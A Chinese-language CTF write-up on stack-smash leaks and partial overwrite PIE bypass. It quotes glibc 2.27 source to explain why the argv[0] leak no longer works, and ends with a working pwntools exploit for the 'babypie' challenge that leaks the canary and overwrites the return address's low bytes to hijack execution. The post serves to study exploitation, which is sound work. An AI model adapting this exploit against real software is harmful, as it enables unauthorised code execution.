继续踩partial overwrite和stack smash的坑

前置知识

Stack Smash

在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,故而我们可以通过覆盖argv[0]的内容来泄露内存中的字符串

Partial Overwrite

在开启了随机化(ASLR,PIE)后, 无论高位的地址如何变化,低 12 位的页内偏移始终是固定的, 也就是说如果我们能更改低位的偏移, 就可以在一定程度上控制程序的执行流, 绕过 PIE 保护

这种技巧不止在栈上有效, 在堆上也是一种有效的绕过地址随机化的手段

环境

  • Ubuntu 18.04
  • glibc 2.27

Stack Smash

这里以2015 年 32C3 CTF readme为例

在ctf-wiki上给出的exp以及讲解已经很详细了 https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/fancy-rop-zh/ ,我这里主要记录一下坑点

在我复现exp时,发现无论如何,打印出的信息都是

1
'*** stack smashing detected ***: <unknown> terminated\n'

一开始我以为是我的操作错误,但是在调试的过程中,却发现貌似与我的操作无关,而是glibc的行为与ctf-wiki上的有所差别

于是老样子,我去查看了glbc的源代码,发现了__fortify_fail_abort函数是如下的形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void
__attribute__ ((noreturn))
__fortify_fail_abort (_Bool need_backtrace, const char *msg)
{
/* The loop is added only to keep gcc happy. Don't pass down
__libc_argv[0] if we aren't doing backtrace since __libc_argv[0]
may point to the corrupted stack. */
while (1)
__libc_message (need_backtrace ? (do_abort | do_backtrace) : do_abort,
"*** %s ***: %s terminated\n",
msg,
(need_backtrace && __libc_argv[0] != NULL
? __libc_argv[0] : "<unknown>"));
}

这与ctf-wiki上给出的版本有着很大的区别

1
2
3
4
5
6
7
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

可以看到多了一个参数,而且在我调试的过程中,第一个参数永远为0xor edi,edi,所以我们来看看上层函数是如何传参的

1
2
3
4
5
6
void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
__fortify_fail_abort (false, "stack smashing detected");
}

可以看到,在__stack_chk_fail函数中直接就指定了need_backtracefalse,故而无论如何修改argv[0]的指针,都不会输出argv[0]指针指向的字符串,而是会一直输出unknown

另一个坑点在于,如果exp的程序在远端,那么类似如下的报错信息是直接输出在远端的tty上而不是stderr

1
'*** stack smashing detected ***: xxxxxx terminated\n'

与这里有关的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void
__libc_message (enum __libc_message_action action, const char *fmt, ...)
{
va_list ap;
int fd = -1;

va_start (ap, fmt);

#ifdef FATAL_PREPARE
FATAL_PREPARE;
#endif

/* Don't call __libc_secure_getenv if we aren't doing backtrace, which
may access the corrupted stack. */
if ((action & do_backtrace))
{
/* Open a descriptor for /dev/tty unless the user explicitly
requests errors on standard error. */
const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");
if (on_2 == NULL || *on_2 == '\0')
fd = __open_nocancel (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);
}

if (fd == -1)
fd = STDERR_FILENO;

可以从代码中看出,如果希望将此报错信息输出至stderr,需要设置环境变量LIBC_FATAL_STDERR_=1

而ctf-wiki上所说的

没有出现无法看见报错信息这里我们直接就得到了 flag,没有出现网上说的得不到 flag 的情况

实际上就是环境提供者已经设置好了此环境变量

相关文章: https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/readme-200

Partial Overwrite

同样的,记录几个坑点

这里以安恒杯 2018 年 7 月月赛的 babypie 为例

ctf-wiki上也讲的比较清楚了 https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/fancy-rop-zh/

在复现的时候,老问题又出现了,system函数起不来

于是我尝试调试(16分之一的概率我试了好久…脸是真的黑)

发现了还是老问题,rsp没有对齐

不清楚为啥的可以看我写的这篇 https://ph4ntonn.github.io/bypass-Canary.html

同时注意这里不可以在syscall前对齐,因为system函数校验canary的时候,是如下代码

1
2
0x7f9c8d1b81f7 <do_system+679>  mov    rcx, QWORD PTR [rsp+0x178]
0x7f9c8d1b81ff <do_system+687> xor rcx, QWORD PTR fs:0x28

所以必须在call之前就直接对齐

但是这里我并没有找到很好的办法可以在exp中对齐rsp

Ubuntu 16.04glibc 2.23下可以复现成功

附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

binary = ELF("./babypie")

while True:
try:
pwn = process("./babypie",timeout = 1)

# leak canary
pwn.recvuntil("Input your Name:\n")
payload = ''
payload += 'a' *40

pwn.sendline(payload)
pwn.recvuntil('a' *40+'\x0a')
canary = u64(pwn.recvn(7).rjust(8,'\0'))
print "Canary is: ",hex(canary)
old_rbp = u64(pwn.recvn(6).ljust(8,'\0'))
print " old_rbp is: ", hex(old_rbp)

# try hijack rip
pwn.recvuntil(":\n")
payload = ''
payload += 'a' * 40
payload += p64(canary)
payload += p64(old_rbp)
payload += '\x3e\xfa' #try \x3e\x?a
raw_input()
pwn.send(payload)

pwn.interactive()
except:
pwn.close()
continue

成功率看脸~